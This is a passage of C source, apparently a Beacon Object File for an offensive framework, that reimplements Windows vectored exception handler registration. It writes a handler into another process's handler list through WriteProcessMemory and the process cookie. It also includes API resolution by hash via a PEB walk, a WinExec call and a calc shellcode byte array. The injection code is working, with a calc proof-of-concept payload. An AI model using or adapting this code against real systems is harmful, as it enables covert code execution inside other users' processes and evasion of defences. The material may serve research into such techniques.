LdrProtectMrdata(FALSE);
AcquireSRWLockExclusive(&LdrpMrdataLock);
// Now we allocated a READONLY heap, lets update the global variables
if (!LdrpMrdataHeap)
{
// LdrpMrdataHeapUnprotected will either be NULL or address of alloc
LdrpMrdataHeapUnprotected = alloc;
LdrpMrdataHeap = pHeap;
ReleaseSRWLockExclusive(&LdrpMrdataLock);
LdrProtectMrdata(TRUE);
return STATUS_SUCCESS;
}
ReleaseSRWLockExclusive(&LdrpMrdataLock);
LdrProtectMrdata(TRUE);
RtlProtectHeap(pHeap, 0);
RtlFreeHeap(pHeap, 0, alloc);
}
RtlDestroyHeap(pHeap);
}
// Free memory we allocated with NtAllocateVirtualMemory
// We get here if RtlCreateHeap or RtlAllocateHeap failed
NtFreeVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
// Should always hit STATUS_NO_MEMORY here, since we never successfully called RtlAllocateHeap
// However another thread may have already allocated it, so we double check (I guess?)
if (!LdrpMrdataHeap)
return STATUS_NO_MEMORY;
return STATUS_SUCCESS;
}
// If NtAllocateVirtualMemory fails, we just return it's NT_STATUS
return result;
}
ULONG RtlpRemoveVectoredHandlerEx(PVOID Handle)
{
return 0;
}
ULONG RtlpRemoveVectoredHandler(PVOID Handle)
{
// If the function succeeds, the return value is nonzero.
// If the function fails, the return value is zero.
return 0;
}
PVECTORED_HANDLER_ENTRY RtlpAddVectoredHandlerEx(
IN HANDLE hProc,
IN ULONG FirstHandler,
IN PVECTORED_EXCEPTION_HANDLER VectoredHandler,
IN BOOL IsUsingVCH)
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, WriteProcessMemory);
//DFR_LOCAL(KERNEL32, VirtualAllocEx);
//DFR_LOCAL(KERNEL32, VirtualProtectEx);
//DFR_LOCAL(KERNEL32, GetLastError);
//DFR_LOCAL(MSVCRT, calloc);
//DFR_LOCAL(MSVCRT, free);
ULONG cookie = 0;
PVOID alloc1 = NULL;
void* headAddr = NULL;
void* handlerListAddr = NULL;
PVECTORED_HANDLER_ENTRY entry = NULL;
PVECTORED_HANDLER_ENTRY myEntry = NULL;
PVECTORED_HANDLER_ENTRY newEntry = NULL;
PVECTORED_HANDLER_LIST head = NULL;
PLIST_ENTRY Flink = NULL;
PLIST_ENTRY Blink = NULL;
DWORD oldProtect = 0;
SIZE_T bytesWritten = 0;
SIZE_T bytesRead = 0;
if (hProc == NULL)
return NULL;
HMODULE ntdll = GetModuleHandleA("ntdll");
if (ntdll == 0)
return NULL;
BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandler");
// 1fc98bca-1ba9-4397-93f9-349ead41e057
// GUID guid = { 0x1fc98bca, 0x1ba9, 0x4397, {0x93, 0xf9, 0x34, 0x9e, 0xad, 0x41, 0xe0, 0x57} };
if (TRUE) // NT_SUCCESS(LdrEnsureMrdataHeapExistsEx(hProc)) && RtlQueryProtectedPolicy(&guid, &policyEnabled) || !policyEnabled)
{
if (LdrControlFlowGuardEnforced())
{
// TODO
return NULL;
}
// Allocate Heap to store new VECTORED_HANDLER_ENTRY structure
newEntry = (PVECTORED_HANDLER_ENTRY)VirtualAllocEx(hProc, 0, sizeof(VECTORED_HANDLER_ENTRY), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (newEntry == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "VirtualAllocEx(newEntry) returned NULL");
return NULL;
}
myEntry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY));
if (myEntry == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Unable to allocate new entry in current process");
goto CLEANUP_EXIT;
}
BeaconPrintf(CALLBACK_OUTPUT, "Allocated myEntry in current proc at: %p", myEntry);
BeaconPrintf(CALLBACK_OUTPUT, "Allocated newEntry in remote proc at: %p", newEntry);
cookie = GetProcessCookie(hProc);
// Allocate memory to store refcount in myEntry->Unknown1 (init: 1)
alloc1 = (PVECTORED_HANDLER_ENTRY)VirtualAllocEx(hProc, 0, sizeof(DWORD64), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (alloc1 == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "VirtualAllocEx(alloc1) returned NULL");
goto CLEANUP_EXIT;
}
// Write the 1 value to the alloc1 (refcount) pointer
DWORD64 refs = 1;
if (!WriteProcessMemory(hProc, alloc1, &refs, sizeof(DWORD64), NULL))
{
BeaconPrintf(CALLBACK_ERROR, "WriteProcessMemory(alloc1) returned FALSE");
goto CLEANUP_EXIT;
}
// Set refcount to pointer of the 1 value we already wrote
myEntry->Unknown1 = (DWORD64*)alloc1;
// Always 0
myEntry->Unknown2 = 0;
// Encode the address with the remote process cookie
myEntry->Handler = (PVECTORED_EXCEPTION_HANDLER)_rotr64((ULONG_PTR)VectoredHandler ^ cookie, cookie & 0x3F);
// Add the new entry into the remote LdrpVectorHandlerList
headAddr = ((byte*)GetLdrpVectorHandlerList() + (IsUsingVCH * sizeof(PVOID)));
handlerListAddr = ((byte*)headAddr + offsetof(VECTORED_HANDLER_LIST, HandlerList)); // 0x8
head = (PVECTORED_HANDLER_LIST)calloc(1, sizeof(VECTORED_HANDLER_LIST));
if (head == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_LIST", sizeof(VECTORED_HANDLER_LIST));
goto CLEANUP_EXIT;
}
if (!ReadProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesRead)
|| bytesRead != sizeof(VECTORED_HANDLER_LIST))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list. Read=%d, Error=%d", bytesRead, GetLastError());
goto CLEANUP_EXIT;
}
// Print metadata
BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %#llx", head->SrwLock);
BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %#llx", handlerListAddr);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink);
// Add correct bitmask to Peb->CrossProcessFlags for VEH/VCH if list was previously empty ..
if (head->HandlerList.Flink == handlerListAddr)
{
BOOL result = SetCrossProcessFlags(hProc, IsUsingVCH ? 0x8 : 0x4);
BeaconPrintf(CALLBACK_OUTPUT, "SetCrossProcessFlags: %d", result);
}
if (FirstHandler)
{
BeaconPrintf(CALLBACK_OUTPUT, "Adding First Handler");
entry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY));
if (entry == NULL)
goto CLEANUP_EXIT;
if (!ReadProcessMemory(hProc, head->HandlerList.Flink, entry, sizeof(VECTORED_HANDLER_ENTRY), NULL))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list");
goto CLEANUP_EXIT;
}
// if (head->HandlerList.Flink->Blink == &head->HandlerList)
Flink = head->HandlerList.Flink;
PVOID FlinkBlinkAddr = ReadPointer(hProc, ((byte*)Flink + offsetof(LIST_ENTRY, Blink))); // 0x8
BeaconPrintf(CALLBACK_OUTPUT, "FlinkBlinkAddr: %llx", FlinkBlinkAddr);
if (FlinkBlinkAddr == handlerListAddr) // valid list
{
// Flink = HandlerList->Entry.Flink;
BeaconPrintf(CALLBACK_OUTPUT, "Flink: %#llx", Flink);
myEntry->Entry.Flink = Flink; // Sets our Flink to whatever was first in the list (or &HandlerList if it was empty)
myEntry->Entry.Blink = (PLIST_ENTRY)handlerListAddr; // Set our Blink to HandlerList head
head->HandlerList.Flink = (PLIST_ENTRY)newEntry; // Set the first entry to our alloc'ed record address
// Make the page writeable
if (!VirtualProtectEx(hProc, headAddr, 0x1000, PAGE_READWRITE, &oldProtect))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to update page permissions for handler list");
goto CLEANUP_EXIT;
}
BeaconPrintf(CALLBACK_OUTPUT, "oldProtect: %d", oldProtect);
// Set the next entries Blink to our new entry (i.e. insert our record at the beginning of the list)
// head->HandlerList.Flink->Blink = &newEntry->Entry;
if (Flink == handlerListAddr)
{
// No existing entries, we can update our local copy of the HandlerList->Blink instead, before writing it back
// This saves a wasted WriteProcessMemory call
head->HandlerList.Blink = (PLIST_ENTRY)newEntry;
}
else
{
// Existing entry already exists, update its Blink to our new entry
BOOL isProtected = (((byte*)FlinkBlinkAddr - (byte*)headAddr) > 0x1000);
BeaconPrintf(CALLBACK_OUTPUT, "FlinkBlinkAddr: %#llx (protected: %d)", FlinkBlinkAddr, isProtected);
PVOID pNewEntry = newEntry;
if (!WriteProcessMemory(hProc, ((byte*)Flink + offsetof(LIST_ENTRY, Blink)), &pNewEntry, sizeof(PVOID), &bytesWritten))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to write head->HandlerList.Flink->Blink to: %#llx, error=%d, written=%d",
FlinkBlinkAddr, GetLastError(), bytesWritten);
goto CLEANUP_EXIT;
}
}
// Write the VEH entry
if (!WriteProcessMemory(hProc, newEntry, myEntry, sizeof(VECTORED_HANDLER_ENTRY), &bytesWritten))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to write handler entry to remote proc");
goto CLEANUP_EXIT;
}
// Write the updated list
if (!WriteProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesWritten))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to write handler list to remote proc");
goto CLEANUP_EXIT;
}
}
else
{
BeaconPrintf(CALLBACK_ERROR, "FlinkBlinkAddr(%#llx) != handlerListAddr(%#llx)", FlinkBlinkAddr, handlerListAddr);
}
}
else
{
BeaconPrintf(CALLBACK_OUTPUT, "Adding Last Handler");
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", handlerListAddr);
Flink = head->HandlerList.Flink;
Blink = head->HandlerList.Blink;
PVOID BlinkFlinkAddr = ReadPointer(hProc, ((byte*)Blink + offsetof(LIST_ENTRY, Flink))); // 0x0
BeaconPrintf(CALLBACK_OUTPUT, "BlinkFlinkAddr: %llx", BlinkFlinkAddr);
// if ( Blink->Flink == HandlerList )
if (BlinkFlinkAddr == handlerListAddr) // valid list
{
//newEntry->Entry.Flink = &head->HandlerList;
//newEntry->Entry.Blink = Blink;
//Blink->Flink = &newEntry->Entry;
//head->HandlerList.Blink = &newEntry->Entry;
BeaconPrintf(CALLBACK_OUTPUT, "Flink: %#llx", Flink);
myEntry->Entry.Flink = (PLIST_ENTRY)handlerListAddr; // Next entry is beginning of list (i.e. we are last entry)
myEntry->Entry.Blink = Blink; // Set our Blink to the previous last entry
head->HandlerList.Blink = (PLIST_ENTRY)newEntry; // Set the HandlerList Blink (i.e. last) entry to ours
// Make the page writeable
if (!VirtualProtectEx(hProc, headAddr, 0x1000, PAGE_READWRITE, &oldProtect))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to update page permissions for handler list");
goto CLEANUP_EXIT;
}
BeaconPrintf(CALLBACK_OUTPUT, "oldProtect: %d", oldProtect);
// Set the head->HandlerList.Blink to our new entry (i.e. the last record in the list)
// Blink->Flink = &newEntry->Entry;
if (Blink == handlerListAddr)
{
// No existing entries, we can update our local copy of the HandlerList->Flink instead, before writing it back
// This saves a wasted WriteProcessMemory call
head->HandlerList.Flink = (PLIST_ENTRY)newEntry;
}
else
{
// Existing entry already exists, update its Flink to our new entry
BOOL isProtected = (((byte*)BlinkFlinkAddr - (byte*)headAddr) > 0x1000);
BeaconPrintf(CALLBACK_OUTPUT, "BlinkFlinkAddr: %#llx (protected: %d)", BlinkFlinkAddr, isProtected);
PVOID pNewEntry = newEntry;
if (!WriteProcessMemory(hProc, ((byte*)Blink + offsetof(LIST_ENTRY, Flink)), &pNewEntry, sizeof(PVOID), &bytesWritten))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to write head->HandlerList.Blink->Flink to: %#llx, error=%d, written=%d",
BlinkFlinkAddr, GetLastError(), bytesWritten);
goto CLEANUP_EXIT;
}
}
// Write the VEH entry
if (!WriteProcessMemory(hProc, newEntry, myEntry, sizeof(VECTORED_HANDLER_ENTRY), &bytesWritten))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to write handler entry to remote proc");
goto CLEANUP_EXIT;
}
// Write the updated list
if (!WriteProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesWritten))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to write handler list to remote proc");
goto CLEANUP_EXIT;
}
}
}
}
CLEANUP_EXIT:
if (head != NULL)
free(head);
if (myEntry != NULL)
free(myEntry);
if (entry != NULL)
free(entry);
if (headAddr && oldProtect)
VirtualProtectEx(hProc, headAddr, 0x1000, oldProtect, &oldProtect);
BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandlerEx done");
return newEntry;
}
PVECTORED_HANDLER_ENTRY RtlpAddVectoredHandler(
IN ULONG FirstHandler,
IN PVECTORED_EXCEPTION_HANDLER VectoredHandler,
IN BOOL IsUsingVCH)
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
bool v15;
DWORD checked;
PVOID pHeap;
PVOID ProcessHeap;
PVOID alloc1;
VECTORED_HANDLER_ENTRY* newEntry;
LIST_ENTRY* Flink;
LIST_ENTRY* Blink;
DWORD isLdrpMrdataHeapUnprotected;
BOOLEAN Protect;
NTSTATUS status;
ULONG cookie = 0;
ULONG_PTR policyEnabled = 0;
HMODULE ntdll = GetModuleHandleA("ntdll");
if (ntdll == 0)
return NULL;
// TODO: syscalls
NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
RtlQueryProtectedPolicy = (RTLQUERYPROTECTEDPOLICY)GetProcAddress(ntdll, "RtlQueryProtectedPolicy");
RtlRaiseStatus = (RTLRAISESTATUS)GetProcAddress(ntdll, "RtlRaiseStatus");
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap");
RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap");
RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap");
BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandler");
// 1fc98bca-1ba9-4397-93f9-349ead41e057
GUID guid = { 0x1fc98bca, 0x1ba9, 0x4397, {0x93, 0xf9, 0x34, 0x9e, 0xad, 0x41, 0xe0, 0x57} };
if (NT_SUCCESS(LdrEnsureMrdataHeapExists()) && RtlQueryProtectedPolicy(&guid, &policyEnabled) || !policyEnabled)
{
BeaconPrintf(CALLBACK_OUTPUT, "ProtectedPolicy == FALSE");
if (LdrControlFlowGuardEnforced())
{
BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced == TRUE");
AcquireSRWLockExclusive(&LdrpMrdataLock);
checked = *(DWORD*)LdrpMrdataHeapUnprotected;
if (*(DWORD*)LdrpMrdataHeapUnprotected)
{
// Seems like an overflow check
if (checked == -1)
goto RELEASE_LDRPDATALOCK_AND_FAIL_WITH_ERROR_14;
}
else
{
// Make LdrpMrdataHeap PAGE_READWRITE
RtlProtectHeap(LdrpMrdataHeap, 0);
}
// Sets LdrpMrdataHeapUnprotected = TRUE
*(DWORD*)LdrpMrdataHeapUnprotected = checked + 1;
ReleaseSRWLockExclusive(&LdrpMrdataLock);
}
// ProcessHeap should be READWRITE now
if (LdrControlFlowGuardEnforced())
ProcessHeap = LdrpMrdataHeap;
else
ProcessHeap = NtCurrentPeb()->ProcessHeap;
// Allocate Heap to store new VECTORED_HANDLER_ENTRY structure
//BeaconPrintf(CALLBACK_OUTPUT, "sizeof(VECTORED_HANDLER_ENTRY) == %zu\n", sizeof(VECTORED_HANDLER_ENTRY));
newEntry = (VECTORED_HANDLER_ENTRY*)RtlAllocateHeap(ProcessHeap, 0, sizeof(VECTORED_HANDLER_ENTRY));
BeaconPrintf(CALLBACK_OUTPUT, "Allocated newEntry at: %p", newEntry);
// If RtlAllocateHeap failed ..
if (!newEntry)
{
RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN:
// Just return pVecNewEntry if CFG was already disabled
if (!LdrControlFlowGuardEnforced())
return newEntry;
// otherwise re-enable LdrpMrdataHeap Protection first
AcquireSRWLockExclusive(&LdrpMrdataLock);
isLdrpMrdataHeapUnprotected = *(DWORD*)LdrpMrdataHeapUnprotected;
if (LdrpMrdataHeapUnprotected)
{
v15 = isLdrpMrdataHeapUnprotected == 1;
Protect = (unsigned int)(isLdrpMrdataHeapUnprotected - 1);
*(DWORD*)LdrpMrdataHeapUnprotected = Protect;
if (v15)
{
Protect = 1;
RtlProtectHeap(LdrpMrdataHeap, Protect);
}
ReleaseSRWLockExclusive(&LdrpMrdataLock);
return newEntry;
}
RELEASE_LDRPDATALOCK_AND_FAIL_WITH_ERROR_14:
ReleaseSRWLockExclusive(&LdrpMrdataLock);
__fastfail(0xE);
}
// Reserved: Always 0
newEntry->Unknown2 = 0;
// Allocate heap space and store the address in pVecNewEntry->Unknown1
alloc1 = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, sizeof(DWORD64));
newEntry->Unknown1 = (DWORD64*)alloc1;
if (!alloc1)
{
// If RtlAllocateHeap failed then free LdrpMrdataHeap / ProcessHeap
// and then return NULL
if (LdrControlFlowGuardEnforced())
pHeap = LdrpMrdataHeap;
else
pHeap = NtCurrentPeb()->ProcessHeap;
RtlFreeHeap(pHeap, 0, newEntry);
newEntry = NULL;
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN;
}
*(DWORD64*)alloc1 = 1;
BeaconPrintf(CALLBACK_OUTPUT, "pVecNewEntry->Unknown1: %d", *newEntry->Unknown1);
if (!g_CookieValue)
{
status = NtQueryInformationProcess(
(HANDLE)0xFFFFFFFFFFFFFFFF,
(PROCESSINFOCLASS)36,
&cookie,
sizeof(ULONG),
NULL);
if (status < 0)
RtlRaiseStatus(status);
g_CookieValue = cookie;
BeaconPrintf(CALLBACK_OUTPUT, "Cookie: %lu", cookie);
}
// Encode the Handler pointer using the process cookie value
newEntry->Handler = (PVECTORED_EXCEPTION_HANDLER)_rotr64((ULONG_PTR)VectoredHandler ^ cookie, cookie & 0x3F);
PVECTORED_HANDLER_LIST LdrpVectorHandlerList = (PVECTORED_HANDLER_LIST)GetLdrpVectorHandlerList();
PVECTORED_HANDLER_LIST head = &LdrpVectorHandlerList[IsUsingVCH];
BeaconPrintf(CALLBACK_OUTPUT, "LdrpVectorHandlerList = %#llx", *(ULONG_PTR*)LdrpVectorHandlerList);
BeaconPrintf(CALLBACK_OUTPUT, "head = %p", &head);
BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock = %p", head->SrwLock);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList);
// Unprotect .mrdata and acquire the LdrpVectorHandlerList VEH/VCH SRW lock
LdrProtectMrdata(0);
AcquireSRWLockExclusive(head->SrwLock);
// Add correct bitmask to NtCurrentPeb()->CrossProcessFlags for VEH/VCH if list was previously empty ..
if (head->HandlerList.Flink == &head->HandlerList)
{
BOOL status = _interlockedbittestandset((LONG*)((PBYTE)NtCurrentPeb() + 0x50), IsUsingVCH + 2);
BeaconPrintf(CALLBACK_OUTPUT, "_interlockedbittestandset: %d", status);
}
BeaconPrintf(CALLBACK_OUTPUT, "NtCurrentPeb()->CrossProcessFlags: %d", *(LONG*)((PBYTE)NtCurrentPeb() + 0x50));
if (FirstHandler)
{
BeaconPrintf(CALLBACK_OUTPUT, "Adding First Handler");
BeaconPrintf(CALLBACK_OUTPUT, "Flink = %p", head->HandlerList.Flink);
BeaconPrintf(CALLBACK_OUTPUT, "Blink = %p", head->HandlerList.Blink);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList);
if (head->HandlerList.Flink->Blink == &head->HandlerList)
{
BeaconPrintf(CALLBACK_OUTPUT, "address of newEntry: %p", newEntry);
Flink = head->HandlerList.Flink;
newEntry->Entry.Flink = Flink;
newEntry->Entry.Blink = &head->HandlerList;
Flink->Blink = &newEntry->Entry;
head->HandlerList.Flink = &newEntry->Entry;
ReleaseSRWLockExclusive(head->SrwLock);
LdrProtectMrdata(1);
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN;
}
}
else
{
BeaconPrintf(CALLBACK_OUTPUT, "Adding Last Handler");
BeaconPrintf(CALLBACK_OUTPUT, "Flink = %p", head->HandlerList.Flink);
BeaconPrintf(CALLBACK_OUTPUT, "Blink = %p", head->HandlerList.Blink);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList);
Blink = head->HandlerList.Blink;
if (Blink->Flink == &head->HandlerList)
{
BeaconPrintf(CALLBACK_OUTPUT, "address of newEntry: %p", newEntry);
newEntry->Entry.Flink = &head->HandlerList;
newEntry->Entry.Blink = Blink;
Blink->Flink = &newEntry->Entry;
head->HandlerList.Blink = &newEntry->Entry;
ReleaseSRWLockExclusive(head->SrwLock);
LdrProtectMrdata(1);
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN;
}
}
__fastfail(3);
}
return NULL;
}
void CauseCrash()
{
//DFR_LOCAL(KERNEL32, VirtualAlloc);
//DFR_LOCAL(KERNEL32, RaiseException);
//DFR_LOCAL(MSVCRT, memcpy);
void* addr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READONLY);
BeaconPrintf(CALLBACK_OUTPUT, "Alloc: 0x%#llx", addr);
BYTE bytes[0x10] = { };
memcpy((void*)0x41414141, (void*)0x42424242, 0x43434343);
}
void TestAddHandlerDefault()
{
//DFR_LOCAL(KERNEL32, RaiseException);
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
AddVectoredExceptionHandler(TRUE, &MyVectoredHandler);
DumpHandlers(FALSE, FALSE);
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
CauseCrash();
}
void TestAddHandlerCustom()
{
//DFR_LOCAL(KERNEL32, RaiseException);
RtlpAddVectoredHandler(TRUE, &MyVectoredHandler, FALSE);
DumpHandlers(FALSE, FALSE);
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
CauseCrash();
}
unsigned char calcBytes[113] = {
0x31, 0xC0, 0x50, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x50, 0x40,
0x92, 0x74, 0x15, 0x51, 0x64, 0x8B, 0x72, 0x2F, 0x8B, 0x76, 0x0C, 0x8B,
0x76, 0x0C, 0xAD, 0x8B, 0x30, 0x8B, 0x7E, 0x18, 0xB2, 0x50, 0xEB, 0x1A,
0xB2, 0x60, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76,
0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75,
0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
0x01, 0xF7, 0x99, 0xFF, 0xD7
};
unsigned char dbgBytes[4] = { 0xcc, 0xcc, 0xcc, 0xcc };
void AddHardwareBreakpoint(HANDLE hThread, void* addr, int index)
{
//DFR_LOCAL(KERNEL32, SetThreadContext);
//DFR_LOCAL(KERNEL32, GetLastError);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
EnableBreakpoint(&ctx, addr, 0);
if (!SetThreadContext(hThread, &ctx))
{
BeaconPrintf(CALLBACK_ERROR, "Error setting hardware breakpoint");
BeaconPrintf(CALLBACK_ERROR, "Error status: %lu", GetLastError());
}
}
typedef FARPROC(WINAPI* _GetProcAddress)(HMODULE, LPCSTR);
typedef HMODULE(WINAPI* _GetModuleHandleA)(LPCSTR);
typedef BOOL(WINAPI* _VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef UINT(WINAPI* _WinExec)(LPCSTR, UINT);
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
LPVOID DllBase;
LPVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
//#define BOF
LONG CALLBACK ShellcodeFunc(PEXCEPTION_POINTERS ExceptionInfo)
{
#pragma warning( disable : 6011 )
#if defined(_DEBUG) && defined(BOF) && defined(_WIN64)
BeaconPrintf(CALLBACK_OUTPUT, "Got instruction pointer value: %p", ExceptionInfo->ContextRecord->Rip);
#elif defined(_DEBUG) && defined(BOF) && !defined(_WIN64)
BeaconPrintf(CALLBACK_OUTPUT, "Got instruction pointer value: %p", ExceptionInfo->ContextRecord->Eip);
#endif
#if defined(_WIN64)
PPEB peb = (PPEB)__readgsqword(0x60);
#else
PPEB peb = (PPEB)__readfsdword(0x30);
#endif
PPEB_LDR_DATA ldr = (PPEB_LDR_DATA)peb->LoaderData;
PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
PLIST_ENTRY curr = head->Flink;
// Iterate through every loaded DLL in the current process
PVOID dllBase = NULL;
do {
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
// djb2 hash function
unsigned long hash = 5381;
int c;
PWCHAR dllName = (PWCHAR)dllEntry->BaseDllName.Buffer;
while ((c = *dllName++))
hash = ((hash << 5) + hash) + c;
#if defined(_DEBUG) && defined(BOF)
BeaconPrintf(CALLBACK_OUTPUT, "DLL: %ls, Hash=%lu", dllEntry->BaseDllName.Buffer, hash);
#endif
/*
Can use BaseDllName or FullDllName
BaseDllName: ntdll.dll
Hash: 584300013
BaseDllName: KERNEL32.DLL
Hash: 1843107157
BaseDllName: KERNELBASE.dll
Hash: 65814507
FullDllName: C:\\Windows\\System32\\KERNEL32.DLL
Hash: 174753947
FullDllName: C:\WINDOWS\System32\KERNEL32.DLL
Hash: 4236524507
*/
// KERNEL32.DLL
if (hash == 1843107157) {
dllBase = dllEntry->DllBase;
}
curr = curr->Flink;
} while (curr != head);
if (dllBase == 0)
goto EXIT_FUNC;
#if defined(_DEBUG) && defined(BOF)
BeaconPrintf(CALLBACK_OUTPUT, "Finished parsing export table");
BeaconPrintf(CALLBACK_OUTPUT, "DLL Base: 0x%X", dllBase);
#endif
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((byte*)dllBase + dosHeader->e_lfanew);
DWORD exportDescriptorOffset = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)((byte*)dllBase + exportDescriptorOffset);
PDWORD func = (PDWORD)((byte*)dllBase + exportTable->AddressOfFunctions);
PDWORD names = (PDWORD)((byte*)dllBase + exportTable->AddressOfNames);
PWORD ord = (PWORD)((byte*)dllBase + exportTable->AddressOfNameOrdinals);
_VirtualProtect pVirtualProtect = NULL;
_GetModuleHandleA pGetModuleHandleA = NULL;
_GetProcAddress pGetProcAddress = NULL;
int n = 0;
do {
char* funcName = (char*)((byte*)dllBase + names[n]);
PVOID funcAddr = (byte*)dllBase + func[ord[n]];
unsigned long hash = 5381;
int c;
while ((c = *funcName++))
hash = ((hash << 5) + hash) + c;
#if defined(_DEBUG) && defined(BOF)
BeaconPrintf(CALLBACK_OUTPUT, "Function: %s, Hash=%lu", funcName, hash);
#endif
if (hash == 3476142879) {
pGetProcAddress = (_GetProcAddress)funcAddr;
}
if (hash == 2219831693) {
pVirtualProtect = (_VirtualProtect)funcAddr;
}
if (hash == 1511341912) {
pGetModuleHandleA = (_GetModuleHandleA)funcAddr;
}
++n;
} while (n < exportTable->NumberOfNames -1);
#if defined(_DEBUG) && defined(BOF)
BeaconPrintf(CALLBACK_OUTPUT, "GetProcAddress: %p", pGetProcAddress);
BeaconPrintf(CALLBACK_OUTPUT, "VirtualProtect: %p", pVirtualProtect);
BeaconPrintf(CALLBACK_OUTPUT, "GetModuleHandleA: %p", pGetModuleHandleA);
#endif
if (pGetProcAddress == NULL || pGetModuleHandleA == NULL)
goto EXIT_FUNC;
char kernel32_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
char winexec_name[] = { 'W','i','n','E','x','e','c', 0 };
char command[] = {
'c', ':', '\\',
'w', 'i', 'n', 'd', 'o', 'w', 's', '\\',
's', 'y', 's', 't', 'e', 'm', '3' ,'2', '\\',
'c', 'a', 'l', 'c', 0
};
HMODULE kernel32 = pGetModuleHandleA(kernel32_name);
_WinExec pWinExec = (_WinExec)pGetProcAddress(kernel32, winexec_name);
pWinExec(command, 1);
EXIT_FUNC:
